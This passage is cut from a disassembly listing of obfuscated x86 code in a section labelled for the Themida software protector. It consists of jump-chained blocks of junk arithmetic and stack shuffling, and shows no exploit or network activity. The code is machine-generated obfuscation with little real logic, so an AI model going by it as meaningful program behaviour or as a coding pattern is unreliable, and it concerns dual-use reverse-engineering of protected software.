ecx push ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 1BA96DC5h jmp loc_5915D0 ; --------------------------------------------------------------------------- loc_5A02BA: ; CODE XREF: Themida_:0059D117j add edi, 394F4625h jmp loc_59E0D6 ; --------------------------------------------------------------------------- loc_5A02C5: ; CODE XREF: Themida_:0059A1EFj shl eax, 6 shr eax, 2 neg eax add eax, 0B0B51EE0h or edx, eax pop eax jmp loc_5962AA ; --------------------------------------------------------------------------- loc_5A02DA: ; CODE XREF: Themida_:00596ED6j shl ebp, 1 add ebp, 1 or ebp, 60653BA2h push 60B1h mov [esp], eax mov eax, 7BDD8B99h sub ebp, eax pop eax sub eax, ebp mov ebp, [esp] push ebp jmp loc_59A5D1 ; --------------------------------------------------------------------------- loc_5A0303: ; CODE XREF: Themida_:00592D4Cj neg ebp or ebp, 79DC3BB0h sub ebp, 0BFA513Ah add ebp, 0AE37FC01h jmp loc_59FDD7 ; --------------------------------------------------------------------------- loc_5A031C: ; CODE XREF: Themida_:0059ED0Fj sub eax, 0B019E950h add ebp, eax pop eax sub ebp, 4 jmp loc_59A961 ; --------------------------------------------------------------------------- loc_5A032C: ; CODE XREF: Themida_:005A2741j sub ecx, 7D9755BBh push dword ptr [esp] pop ebp push eax mov eax, esp push esi mov esi, 4 add eax, esi mov esi, [esp] jmp loc_598A3C ; --------------------------------------------------------------------------- loc_5A0349: ; CODE XREF: Themida_:005A3C98j pop edi jmp loc_59362E ; --------------------------------------------------------------------------- loc_5A034F: ; CODE XREF: Themida_:0059C1ECj xchg edx, [esp] pop esp mov [esp], eax mov eax, esp push ecx push 6D565BEEh pop ecx push edx mov edx, 0FFFFFFFFh jmp loc_59578F ; --------------------------------------------------------------------------- loc_5A036A: ; CODE XREF: Themida_:005A4175j add edi, 18C063h add ebp, edi jmp loc_593440 ; --------------------------------------------------------------------------- loc_5A0377: ; CODE XREF: Themida_:0059E30Bj shl ebx, 5 push esi mov esi, 4E5D797Ah xor esi, 0C3C152Ch dec esi xor esi, 315F4DFFh xor ebx, esi pop esi xor edx, ebx pop ebx or edx, 5B713A37h sub edx, 5FFD7A73h jmp loc_59F75F ; --------------------------------------------------------------------------- loc_5A03A4: ; CODE XREF: Themida_:0059D0B4j add ecx, 5CA54346h sub ecx, esi sub ecx, 5CA54346h jmp loc_59CEF6 ; --------------------------------------------------------------------------- db 66h dd 48BB353h, 0D469E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A03C2: ; CODE XREF: Themida_:005A4F5Cj mov ebx, 0 add ebx, 2CD950DAh jmp loc_5A49E6 ; --------------------------------------------------------------------------- loc_5A03D2: ; CODE XREF: Themida_:005A1B9Dj pop ebx shr edi, 1 jmp loc_5993F1 ; --------------------------------------------------------------------------- loc_5A03DA: ; CODE XREF: Themida_:0059BD21j xchg eax, [esp] pop esp jmp loc_5A1BCB ; --------------------------------------------------------------------------- loc_5A03E3: ; CODE XREF: Themida_:005A2016j mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_59D36E ; --------------------------------------------------------------------------- loc_5A0408: ; CODE XREF: Themida_:005A05DAj push 57BBh jmp loc_5A2E09 ; --------------------------------------------------------------------------- loc_5A0412: ; CODE XREF: Themida_:005A41C0j add edx, 4 jmp loc_5A37F5 ; --------------------------------------------------------------------------- loc_5A041D: ; CODE XREF: Themida_:0059AC2Dj pop edx add edx, 1B0A7F2Ah xor edx, 694E5CC0h add edx, 0B654430h mov ebx, edx pop edx mov edi, 7FE76595h xor edi, ebx mov ebx, [esp] add esp, 4 and edx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 push ebx mov ebx, 788F2A5Eh or ebx, 67E5193Fh dec ebx add ebx, 8010C486h add edx, ebx pop ebx xchg edx, [esp] pop esp jmp loc_596A5C ; --------------------------------------------------------------------------- loc_5A046D: ; CODE XREF: Themida_:005962F6j add ecx, 36762639h add ecx, eax push esi push eax push 631A0ED7h pop eax add eax, 39A315EFh neg eax jmp loc_5A47E6 ; --------------------------------------------------------------------------- loc_5A0489: ; CODE XREF: Themida_:005971A6j xor [esp], edx jmp loc_5A1248 ; --------------------------------------------------------------------------- loc_5A0491: ; CODE XREF: Themida_:00596E86j mov [esp], esi jmp loc_5A4E64 ; --------------------------------------------------------------------------- loc_5A0499: ; CODE XREF: Themida_:00599F0Fj sub cl, dh pop dx add cl, 0FFh jmp loc_598C26 ; --------------------------------------------------------------------------- loc_5A04A5: ; CODE XREF: Themida_:0059B850j push 87Dh mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 6DE0h mov [esp], ebp push 40C15896h pop ebp push esi jmp loc_59703D ; --------------------------------------------------------------------------- loc_5A04D2: ; CODE XREF: Themida_:005923F9j movzx ecx, ax push 1C66h mov [esp], ebp mov ebp, esp push 536Eh mov [esp], edx push eax push 19E13D37h push dword ptr [esp] pop eax add esp, 4 neg eax jmp loc_597D9F ; --------------------------------------------------------------------------- loc_5A04FE: ; CODE XREF: Themida_:005938F4j push 4AEAh jmp loc_594A16 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx jmp loc_599951 ; --------------------------------------------------------------------------- loc_5A0520: ; CODE XREF: Themida_:0059D3B5j add ebx, 4 add ebx, 4 jmp loc_595AAA ; --------------------------------------------------------------------------- loc_5A0531: ; CODE XREF: Themida_:005A0D08j mov esp, [esp] or eax, eax jnz loc_592BE1 push esi mov esi, 1 mov edx, esi push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx push eax jmp loc_59F3AA ; --------------------------------------------------------------------------- loc_5A056D: ; CODE XREF: Themida_:0059C1FEj add ecx, 31FA48E8h mov ebp, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_598696 ; --------------------------------------------------------------------------- loc_5A0588: ; CODE XREF: Themida_:00591702j sub ebp, edx pop edx inc ebp sub esp, 4 mov [esp], ebx push 1F3D3BF3h pop ebx dec ebx add ebx, 0FFFFFFFFh xor ebx, 35537691h jmp loc_595D14 ; --------------------------------------------------------------------------- loc_5A05AA: ; CODE XREF: Themida_:005A306Dj neg eax xor eax, 410EDB2Ch jmp loc_5A0C25 ; --------------------------------------------------------------------------- loc_5A05B6: ; CODE XREF: Themida_:00594CF4j and edx, esi pop esi push 0 jmp loc_59105D ; --------------------------------------------------------------------------- loc_5A05C3: ; CODE XREF: Themida_:005A41B5j push ebx mov ebx, 39B8196Dh jmp loc_59A47C ; --------------------------------------------------------------------------- loc_5A05CE: ; CODE XREF: Themida_:0059BF80j push edi jmp loc_595429 ; --------------------------------------------------------------------------- loc_5A05D4: ; CODE XREF: Themida_:00599F82j pop dword ptr [esp] mov esp, [esp] jmp loc_5A0408 ; --------------------------------------------------------------------------- loc_5A05DF: ; CODE XREF: Themida_:0059DF31j push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_59FA9C ; --------------------------------------------------------------------------- loc_5A05FD: ; CODE XREF: Themida_:00594B0Dj shl ecx, 8 sub ecx, 4C0AFEF9h xor edi, ecx pop ecx mov esi, edi pop edi sub ebx, esi pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A0624: ; CODE XREF: Themida_:0059321Bj mov edi, esp add edi, 4 jmp loc_59A3E8 ; --------------------------------------------------------------------------- loc_5A0631: ; CODE XREF: Themida_:00594705j shl eax, 5 push edi mov edi, 0A9D2B4Fh not edi dec edi add edi, 71FB768Dh shl edi, 3 sub edi, 81D3CA86h sub eax, edi pop edi jmp loc_597815 ; --------------------------------------------------------------------------- loc_5A0654: ; CODE XREF: Themida_:0059FA97j pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add edi, ecx mov ecx, [esp] push eax jmp loc_5A45DF ; --------------------------------------------------------------------------- loc_5A066A: ; CODE XREF: Themida_:005A4DC7j mov ebx, [esp] add esp, 4 jmp loc_5964C1 ; --------------------------------------------------------------------------- loc_5A0678: ; CODE XREF: Themida_:005A0782j mov eax, [esp] add esp, 4 push ebx push eax push 1CD30167h pop eax mov ebx, eax jmp loc_5A4AD3 ; --------------------------------------------------------------------------- loc_5A0690: ; CODE XREF: Themida_:005997CEj mov [esp], esi mov esi, 31A406BBh push edi mov edi, 491A7F5Ah jmp loc_59974D ; --------------------------------------------------------------------------- loc_5A06A3: ; CODE XREF: Themida_:00594413j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop ecx push 563Ah jmp loc_593F66 ; --------------------------------------------------------------------------- loc_5A06C1: ; CODE XREF: Themida_:0059428Ej add ebp, 1 dec ebp and ebp, 6CA25F66h or ebp, 36B129F4h add ebp, 0BDC51869h mov edx, ebp jmp loc_59F049 ; --------------------------------------------------------------------------- loc_5A06E1: ; CODE XREF: Themida_:0059F226j pop esp push 2A57h mov [esp], esi xchg ecx, [esp] push ecx jmp loc_59608A ; --------------------------------------------------------------------------- loc_5A06F3: ; CODE XREF: Themida_:005A0CD3j add esp, 4 push 1E88h jmp loc_5999C7 ; --------------------------------------------------------------------------- loc_5A0703: ; CODE XREF: Themida_:00591D0Cj shl ebp, 5 add ebp, 0CCFB760Ah sub eax, 62E247EDh jmp loc_5946DD ; --------------------------------------------------------------------------- loc_5A0716: ; CODE XREF: Themida_:0059D1CFj pop ebx pop eax jmp loc_59BAD0 ; --------------------------------------------------------------------------- loc_5A071D: ; CODE XREF: Themida_:00598540j xchg ecx, [esp] pop esp jmp loc_59F670 ; --------------------------------------------------------------------------- loc_5A0726: ; CODE XREF: Themida_:005960A6j push dword ptr [esp] pop ebx add esp, 4 xor al, 0Fh sub cl, 32h add cl, al add cl, 32h pop eax sub al, 0B1h sub al, cl add al, 0B1h pop ecx push edx push esp pop edx jmp loc_59060D ; --------------------------------------------------------------------------- loc_5A0747: ; CODE XREF: Themida_:0059812Dj push edx mov edx, 46C13293h dec edx inc edx and edx, 3989506Bh sub edx, 42424Bh sub ebp, edx pop edx add esi, ebp jmp loc_59C8A8 ; --------------------------------------------------------------------------- loc_5A0765: ; CODE XREF: Themida_:0059FE70j mov [esp], edi push ebp sub dword ptr [esp], 5A3A4EE7h pop edi jmp loc_5A39BF ; --------------------------------------------------------------------------- loc_5A0776: ; CODE XREF: Themida_:0059AE86j pop esp xchg esi, [edi+24h] loc_5A077A: ; CODE XREF: Themida_:0059C9D3j push ebx xor dword ptr [esp], 26EE0A25h jmp loc_5A0678 ; --------------------------------------------------------------------------- loc_5A0787: ; CODE XREF: Themida_:0059AAD2j xor bl, 0DCh sub dl, 21h sub dl, bl add dl, 21h mov ebx, [esp] jmp loc_592477 ; --------------------------------------------------------------------------- loc_5A079A: ; CODE XREF: Themida_:00597106j add ecx, 705C40E0h add ecx, 0B4FEB0A2h sub edx, ecx jmp loc_5A3078 ; --------------------------------------------------------------------------- loc_5A07AD: ; CODE XREF: Themida_:0059BF49j mov cl, dh pop edx mov bl, dh pop edx push edx push ecx mov cl, 18h jmp loc_5A0B1C ; --------------------------------------------------------------------------- loc_5A07BC: ; CODE XREF: Themida_:0059FAC7j push dword ptr [esp] jmp loc_59F162 ; --------------------------------------------------------------------------- loc_5A07C4: ; CODE XREF: Themida_:0059578Aj mov eax, [esp] add esp, 4 inc dl dec dl push ebx mov bl, 16h jmp loc_590369 ; --------------------------------------------------------------------------- loc_5A07D6: ; CODE XREF: Themida_:0059614Aj add eax, esi pop esi jmp loc_5A34C9 ; --------------------------------------------------------------------------- loc_5A07DE: ; CODE XREF: Themida_:0059FEEAj add esi, edi mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] add [esp], eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A07F5: ; CODE XREF: Themida_:00591F5Ej pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_59DDAD ; --------------------------------------------------------------------------- loc_5A080B: ; CODE XREF: Themida_:00599EC0j xor ecx, 7639157Eh xor ecx, 0BCE1D33h sub ecx, 0EFE80C89h sub edi, ecx pop ecx jmp loc_5A56E2 ; --------------------------------------------------------------------------- loc_5A0825: ; CODE XREF: Themida_:005A12E5j push dword ptr [esp] pop ebx add esp, 4 jmp loc_59EC7C ; --------------------------------------------------------------------------- loc_5A0831: ; CODE XREF: Themida_:005A1C51j mov [esp], ecx mov ecx, 7489525Eh not ecx jmp loc_5980D3 ; --------------------------------------------------------------------------- loc_5A0840: ; CODE XREF: Themida_:00598396j pop ecx mov ecx, 0F214FD90h add ecx, edi mov edi, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 932h mov [esp], ebx jmp loc_59F06F ; --------------------------------------------------------------------------- loc_5A0874: ; CODE XREF: Themida_:0059BEB9j mov edi, esp push 3FCh mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_593DD7 ; --------------------------------------------------------------------------- loc_5A088C: ; CODE XREF: Themida_:005A224Dj pop dword ptr [esp] mov esp, [esp] push 408Ah mov [esp], ecx push 7FA13EFEh pop ecx sub esp, 4 jmp loc_59B8F2 ; --------------------------------------------------------------------------- loc_5A08A8: ; CODE XREF: Themida_:0059845Dj pop ecx pop edx add ebx, edi add ebx, 176755C0h jmp loc_59ED21 ; --------------------------------------------------------------------------- loc_5A08B7: ; CODE XREF: Themida_:0059334Ej shr edx, 1 add edx, 68DA6814h jmp loc_596F60 ; --------------------------------------------------------------------------- loc_5A08C4: ; CODE XREF: Themida_:0059F368j mov edi, [esp] add esp, 4 jmp loc_596889 ; --------------------------------------------------------------------------- loc_5A08D2: ; CODE XREF: Themida_:00598AE3j xchg ebp, [esp] jmp loc_59E199 ; --------------------------------------------------------------------------- loc_5A08DA: ; CODE XREF: Themida_:005A2E11j mov [esp], ebp push esi push ecx mov ecx, esp add ecx, 4 jmp loc_5A331B ; --------------------------------------------------------------------------- loc_5A08EC: ; CODE XREF: Themida_:0059F3B2j mov esp, [esp] jmp loc_5907CA ; --------------------------------------------------------------------------- loc_5A08F4: ; CODE XREF: Themida_:00591B19j add edi, 4 xchg edi, [esp] pop esp dec ecx jmp loc_5A1757 ; --------------------------------------------------------------------------- loc_5A0904: ; CODE XREF: Themida_:0059E6FFj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A0909: ; CODE XREF: Themida_:005A564Aj shl esi, 8 push eax push ebx mov ebx, 37312402h push esi jmp loc_593415 ; --------------------------------------------------------------------------- loc_5A0919: ; CODE XREF: Themida_:0059B7CAj add bh, 87h push small 1942h jmp loc_5A09B7 ; --------------------------------------------------------------------------- loc_5A0925: ; CODE XREF: Themida_:005936ACj add ch, dl jmp loc_5A19B0 ; --------------------------------------------------------------------------- loc_5A092C: ; CODE XREF: Themida_:00590EE6j push eax jmp loc_59EB39 ; --------------------------------------------------------------------------- loc_5A0932: ; CODE XREF: Themida_:00591381j or ecx, 2DE33D81h xor ecx, 15C46EE5h xor ecx, 6A2F2D35h add edx, ecx pop ecx add ebp, edx pop edx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 15B86E05h push edi mov edi, 15B86E07h xor eax, edi mov edi, [esp] add esp, 4 push eax mov eax, 0CF22A56h sub ebp, eax pop eax add ebp, eax push esi mov esi, 76FD09FBh push eax mov eax, 7E5E4380h jmp loc_591797 ; --------------------------------------------------------------------------- loc_5A0994: ; CODE XREF: Themida_:0059F204j push 3A26h mov [esp], eax mov eax, 38810780h xor eax, 38810784h add edi, eax pop eax add edi, 4 jmp loc_59353A ; --------------------------------------------------------------------------- loc_5A09B1: ; CODE XREF: Themida_:0059D7B9j pop eax jmp loc_5921E6 ; --------------------------------------------------------------------------- loc_5A09B7: ; CODE XREF: Themida_:005A0920j mov [esp], cx mov ch, 46h or bh, ch mov cx, [esp] jmp loc_597DC4 ; --------------------------------------------------------------------------- loc_5A09C8: ; CODE XREF: Themida_:005A4DEEj sub ebx, eax jmp loc_59B21B ; --------------------------------------------------------------------------- loc_5A09CF: ; CODE XREF: Themida_:00592C69j sub edx, ecx jmp loc_5917D9 ; --------------------------------------------------------------------------- loc_5A09D6: ; CODE XREF: Themida_:0059B74Ej not dword ptr [esp] pop edx sub edx, 8F8409E3h add esi, 59D53094h add esi, edx sub esi, 59D53094h mov edx, [esp] push eax mov eax, esp jmp loc_5964E3 ; --------------------------------------------------------------------------- loc_5A09F9: ; CODE XREF: Themida_:0059D2E5j add esi, ecx pop ecx add esi, 3CCA2C93h sub esp, 4 mov [esp], eax mov eax, 17B50447h add eax, 5B73861h sub esp, 4 jmp loc_599E89 ; --------------------------------------------------------------------------- loc_5A0A20: ; CODE XREF: Themida_:0059FD13j mov ebx, [esp] add esp, 4 sub ebx, 11671141h add ebx, ecx add ebx, 11671141h jmp loc_597277 ; --------------------------------------------------------------------------- loc_5A0A39: ; CODE XREF: Themida_:0059FA01j shr ebp, 8 jmp loc_595244 ; --------------------------------------------------------------------------- loc_5A0A41: ; CODE XREF: Themida_:005A22CBj add edx, 7E290C8Ch push eax mov eax, 0B8976195h xor edx, eax pop eax sub edi, edx pop edx and eax, edi mov edi, [esp] add esp, 4 jmp loc_5A298C ; --------------------------------------------------------------------------- loc_5A0A60: ; CODE XREF: Themida_:00590356j mov eax, [esp] add esp, 4 jmp loc_59B253 ; --------------------------------------------------------------------------- loc_5A0A6B: ; CODE XREF: Themida_:00598F52j pop edi jmp loc_59B28E ; --------------------------------------------------------------------------- loc_5A0A71: ; CODE XREF: Themida_:00597A97j mov eax, 3A0F77F7h sub ebp, eax pop eax sub ebp, esi push ecx jmp loc_5994A3 ; --------------------------------------------------------------------------- loc_5A0A81: ; CODE XREF: Themida_:0059716Cj pop edx add eax, esi pop esi jmp loc_5A50B4 ; --------------------------------------------------------------------------- loc_5A0A8A: ; CODE XREF: Themida_:005A4717j push eax mov eax, 2894B1Dh and ebp, eax pop eax jmp loc_5943A0 ; --------------------------------------------------------------------------- loc_5A0A98: ; CODE XREF: Themida_:0059635Cj xor esi, 64FF9E36h add edx, esi jmp loc_596D0D ; --------------------------------------------------------------------------- loc_5A0AA5: ; CODE XREF: Themida_:005A18BEj mov ecx, [esp] add esp, 4 sub dh, 31h jmp loc_5A3F6F ; --------------------------------------------------------------------------- loc_5A0AB6: ; CODE XREF: Themida_:0059A526j mov ecx, [esp] add esp, 4 jmp loc_5A1867 ; --------------------------------------------------------------------------- loc_5A0AC1: ; CODE XREF: Themida_:00598C21j neg dl push ebx mov bh, 0DFh jmp loc_594D23 ; --------------------------------------------------------------------------- loc_5A0ACB: ; CODE XREF: Themida_:005A2264j sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 0D70062Ah shr edx, 3 inc edx shl edx, 2 push ebx mov ebx, 1 sub edx, ebx pop ebx jmp loc_5966F1 ; --------------------------------------------------------------------------- loc_5A0AF7: ; CODE XREF: Themida_:005920DAj pop ecx add esi, 4 xchg esi, [esp] pop esp push 1C54h mov [esp], ecx push ebx push 5D88h mov [esp], ecx mov cl, 1Ah push edx mov dl, cl mov bh, dl jmp loc_59E91A ; --------------------------------------------------------------------------- loc_5A0B1C: ; CODE XREF: Themida_:005A07B7j push ebx mov bh, 40h mov dh, 0 add dh, bh jmp loc_59DB28 ; --------------------------------------------------------------------------- loc_5A0B28: ; CODE XREF: Themida_:005958C2j push edx push 4B8406B1h pop edx push ecx mov ecx, 5DAD4738h sub esp, 4 mov [esp], ebp jmp loc_5A28D2 ; --------------------------------------------------------------------------- loc_5A0B40: ; CODE XREF: Themida_:0059908Bj sub esp, 4 mov [esp], edi sub dword ptr [esp], 55D62698h jmp loc_591E6B ; --------------------------------------------------------------------------- loc_5A0B52: ; CODE XREF: Themida_:0059CE50j sub esp, 4 mov [esp], ebp mov ebp, 2 jmp loc_59BF5B ; --------------------------------------------------------------------------- loc_5A0B65: ; CODE XREF: Themida_:00595306j pop ebx add eax, esi mov esi, [esp] push 26C1h mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] xor eax, [esp] xor [esp], eax jmp loc_5903FD ; --------------------------------------------------------------------------- loc_5A0B94: ; CODE XREF: Themida_:0059EC36j add eax, ebp push dword ptr [esp] jmp $+5 pop ebp add esp, 4 jmp loc_598DA5 ; --------------------------------------------------------------------------- loc_5A0BAA: ; CODE XREF: Themida_:005A23DFj add edi, 0E540198h add edi, ebx sub edi, 0E540198h sub edi, 748B3BD2h mov ebx, [esp] jmp loc_5A2E22 ; --------------------------------------------------------------------------- loc_5A0BC6: ; CODE XREF: Themida_:005948E6j push 4AD5h mov [esp], esi jmp loc_5A20CA ; --------------------------------------------------------------------------- loc_5A0BD3: ; CODE XREF: Themida_:005A497Bj add ecx, edx mov edx, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A0BF9: ; CODE XREF: Themida_:0059D4EEj push 6991h mov [esp], ecx push esp pop ecx jmp loc_594ACE ; --------------------------------------------------------------------------- loc_5A0C08: ; CODE XREF: Themida_:00599A09j add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_596E8B ; --------------------------------------------------------------------------- loc_5A0C1A: ; CODE XREF: Themida_:005972B2j add ecx, 4 xchg ecx, [esp] jmp loc_5A1A47 ; --------------------------------------------------------------------------- loc_5A0C25: ; CODE XREF: Themida_:005A05B1j sub ebp, eax pop eax mov edi, ebp pop ebp add eax, 0A8A1F41h jmp loc_591F03 ; --------------------------------------------------------------------------- loc_5A0C35: ; CODE XREF: Themida_:00591B33j mov esi, 6D2B6E48h jmp loc_592051 ; --------------------------------------------------------------------------- loc_5A0C3F: ; CODE XREF: Themida_:005A11E7j sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 1EAB1C5Bh sub esp, 4 jmp loc_5A5494 ; --------------------------------------------------------------------------- loc_5A0C59: ; CODE XREF: Themida_:005921E1j sub ebp, 77D10D1Dh add ebp, esi jmp loc_596932 ; --------------------------------------------------------------------------- loc_5A0C66: ; CODE XREF: Themida_:005A406Dj mov [esp], ebp jmp loc_594BC1 ; --------------------------------------------------------------------------- loc_5A0C6E: ; CODE XREF: Themida_:005A0184j and eax, ebx jmp loc_59BD26 ; --------------------------------------------------------------------------- loc_5A0C75: ; CODE XREF: Themida_:005932C2j sub ecx, eax pop eax sub ebx, 15303D2h jmp loc_59A5FD ; --------------------------------------------------------------------------- loc_5A0C83: ; CODE XREF: Themida_:005A471Dj mov esi, 5C67A7Fh push ebp jmp loc_59D34B ; --------------------------------------------------------------------------- loc_5A0C8E: ; CODE XREF: Themida_:005A10FCj mov ecx, [esp] add esp, 4 jmp loc_5990A0 ; --------------------------------------------------------------------------- loc_5A0C9C: ; CODE XREF: Themida_:00592D6Cj dec cl xor cl, 0EFh add cl, 0CDh jmp loc_59A0FB ; --------------------------------------------------------------------------- loc_5A0CA9: ; CODE XREF: Themida_:005A2AC8j add esp, 4 push edx jmp loc_59E15D ; --------------------------------------------------------------------------- loc_5A0CB2: ; CODE XREF: Themida_:00593DF5j mov [esp], esi push ebp mov ebp, 2139081Ch push eax mov eax, 441E4CA9h neg eax jmp loc_59E3A6 ; --------------------------------------------------------------------------- loc_5A0CC8: ; CODE XREF: Themida_:0059C5C3j xor esi, [esp] jmp loc_5A104A ; --------------------------------------------------------------------------- loc_5A0CD0: ; CODE XREF: Themida_:00594FFAj mov edi, [esp] jmp loc_5A06F3 ; --------------------------------------------------------------------------- loc_5A0CD8: ; CODE XREF: Themida_:0059252Bj pop edx add esi, 4 xchg esi, [esp] jmp loc_5A3435 ; --------------------------------------------------------------------------- loc_5A0CE4: ; CODE XREF: Themida_:0059435Dj xor ecx, 176D12F7h jmp loc_59A5E8 ; --------------------------------------------------------------------------- loc_5A0CEF: ; CODE XREF: Themida_:005996E0j sub ebp, 14376Ch add edi, ebp pop ebp add edi, 4 xchg edi, [esp] pop esp pop ecx jmp loc_5920F8 ; --------------------------------------------------------------------------- loc_5A0D05: ; CODE XREF: Themida_:00595ACCj pop dword ptr [esp] jmp loc_5A0531 ; --------------------------------------------------------------------------- loc_5A0D0D: ; CODE XREF: Themida_:00592AE2j add ecx, edx pop edx mov ebp, ecx jmp loc_5928DC ; --------------------------------------------------------------------------- loc_5A0D17: ; CODE XREF: Themida_:005991D0j add ecx, 4F3D4A6Fh add ecx, 1C465924h pop eax add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [eax] add dword ptr [eax], 556A1461h jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A0D38: ; CODE XREF: Themida_:0059654Ej xor ebx, esi pop esi add ecx, ebx jmp loc_595538 ; --------------------------------------------------------------------------- loc_5A0D42: ; CODE XREF: Themida_:005A24D6j sub dword ptr [esp], 78895657h pop ebx push edx push edi mov edi, 37E8440Dh mov edx, 40A1124Ah add edx, 1F4C19FDh jmp loc_5A38BC ; --------------------------------------------------------------------------- loc_5A0D61: ; CODE XREF: Themida_:0059E2E4j sub al, 0CDh shr al, 1 sub al, 92h mov cl, al pop eax push edx mov dl, 0D3h or cl, dl push dword ptr [esp] pop edx add esp, 4 push dx mov dh, 1Ch inc dh push 5C6Fh mov [esp], ecx mov ch, 0Bh shr ch, 5 add ch, 0FFh push 7766h mov [esp], ebx jmp loc_591564 ; --------------------------------------------------------------------------- loc_5A0D9C: ; CODE XREF: Themida_:005922E1j sub ecx, 2043169Eh and ecx, 6B8468EEh push edx mov edx, 2C3B2CDDh shl edx, 8 add edx, 574B214Bh jmp loc_59ED02 ; --------------------------------------------------------------------------- loc_5A0DBC: ; CODE XREF: Themida_:0059A5ABj mov ebp, 38FF0698h and ebp, 358D1ED3h or ebp, 0CAC1981h dec ebp not ebp xor ebp, 64BC7639h add ebp, 875DB8FAh jmp loc_5A3A47 ; --------------------------------------------------------------------------- loc_5A0DE1: ; CODE XREF: Themida_:0059848Dj mov edx, esp add edx, 4 push 5B24h mov [esp], esi mov esi, 4 jmp loc_59BFF6 ; --------------------------------------------------------------------------- loc_5A0DFB: ; CODE XREF: Themida_:005A17E6j push ebp not dword ptr [esp] pop ebp push edi mov edi, 6EBA1C44h jmp loc_5A470E ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_59FC5A ; --------------------------------------------------------------------------- loc_5A0E1A: ; CODE XREF: Themida_:005A517Bj mov bl, dh pop edx not bl mov cl, bl push dword ptr [esp] pop ebx add esp, 4 jmp loc_599F09 ; --------------------------------------------------------------------------- loc_5A0E2D: ; CODE XREF: Themida_:00595F5Aj push 2B3676D4h pop ecx sub ebp, ecx pop ecx push edi mov edi, 2C592651h xor ebp, edi mov edi, [esp] add esp, 4 jmp loc_59629C ; --------------------------------------------------------------------------- loc_5A0E4C: ; CODE XREF: Themida_:0059B828j mov esi, 4 add [esp+4], esi pop esi jmp loc_5A429F ; --------------------------------------------------------------------------- loc_5A0E5B: ; CODE XREF: Themida_:0059088Aj add eax, 433288Ch jmp loc_5A53BB ; --------------------------------------------------------------------------- mov dh, 1Dh xor dh, 0E6h jmp loc_59DD14 ; --------------------------------------------------------------------------- loc_5A0E6F: ; CODE XREF: Themida_:005A2BFDj push edi mov edi, 0D3B6B6Ah jmp loc_5902D3 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push 4777h mov [esp], ebp push 6CB5h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] jmp loc_59350A ; --------------------------------------------------------------------------- loc_5A0E9F: ; CODE XREF: Themida_:00591C05j pop ebx add esi, 3F41286Eh add esi, 577C141Ah sub esi, 0EE74BCh sub esi, ebx add esi, 0EE74BCh sub esi, 577C141Ah sub esi, 3F41286Eh jmp loc_59A8CB ; --------------------------------------------------------------------------- loc_5A0ECB: ; CODE XREF: Themida_:005A55CEj push 3B93h mov [esp], ebp mov ebp, 0B1227C0h xor ebp, 51E36B25h dec ebp jmp loc_59E814 ; --------------------------------------------------------------------------- loc_5A0EE4: ; CODE XREF: Themida_:0059CB6Dj push dword ptr [esp] mov edi, [esp] push edx jmp loc_59DE29 ; --------------------------------------------------------------------------- loc_5A0EF0: ; CODE XREF: Themida_:0059227Bj add esp, 4 sub ebp, 0FFFFFFFFh neg ebp jmp loc_598505 ; --------------------------------------------------------------------------- push eax jmp loc_590ACA ; --------------------------------------------------------------------------- loc_5A0F06: ; CODE XREF: Themida_:00594714j push ebp mov ebp, 37D80CE8h and ebp, 1305658Dh xor ebp, 4E8669BCh mov ebx, ebp jmp loc_5918B8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A0F2F: ; CODE XREF: Themida_:0059B1E9j mov dh, bl mov ch, dh pop edx jmp loc_59239B ; --------------------------------------------------------------------------- loc_5A0F39: ; CODE XREF: Themida_:005919A2j pop ecx push esi pop eax pop esi jmp loc_593088 ; --------------------------------------------------------------------------- mov cx, 